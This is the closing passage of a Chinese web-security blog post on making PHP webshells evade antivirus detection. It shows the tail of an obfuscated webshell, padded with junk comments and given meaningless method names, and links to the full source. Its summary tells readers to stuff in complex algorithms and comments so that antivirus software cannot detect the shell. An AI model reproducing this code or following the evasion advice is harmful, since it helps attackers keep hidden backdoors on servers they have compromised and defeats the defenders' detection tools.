  183. 00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/strrev($text);
  184. if ($this -> blockA ===$this -> blockB and $this -> blockA === $this -> blockC and $this -> blockA === $this -> blockD) return true;
  185. else return false;
  186. }
  187. }
  188. function pause($obj) {
  189. global $appor5nnb;
  190. if (!$appor5nnb -> getLockerStatus()) die();
  191. return $obj;
  192. }
  193. $appor5nnb = new InazumaPuzzle();
  194. $appor5nnb -> __AFG50CE4_RG1();
  195. $cvb33ff55 = new PerlinNoise(3000, 700.4, 56.7, "DIFF_PERLIN");
  196. $cvb33ff55->__BHUYTVV8_1();
  197. $cvb33ff55 -> __CPRBB0R0_l();
  198. $cvb33ff55 ->__HNBB70CA_5();
  199. ?>

这个代码看着就乱,根本读不下去,里面很多无用代码,很容易被误导,读不懂。
图片.png

图片.png

图片.png

总结

webshell的免杀有很多方式,师傅们可以多加一些复杂的算法和注释进去,让代码变得混乱,这样杀毒软件就很难检测了。

参考

https://github.com/misaka19008/PerlinPuzzle-Webshell-PHP/blob/master/perlin.php
https://zhuanlan.zhihu.com/p/206271895?ivk_sa=1024320u&utm_id=0
https://www.miyoushe.com/ys/article/17414097
https://blog.csdn.net/qq_45521281/article/details/105849770

  • 发表于 2025-03-10 11:17:55
  • 阅读 ( 2250 )
  • 分类:WEB安全

1 条评论

Werqy3
Werqy3

6 篇文章

站长统计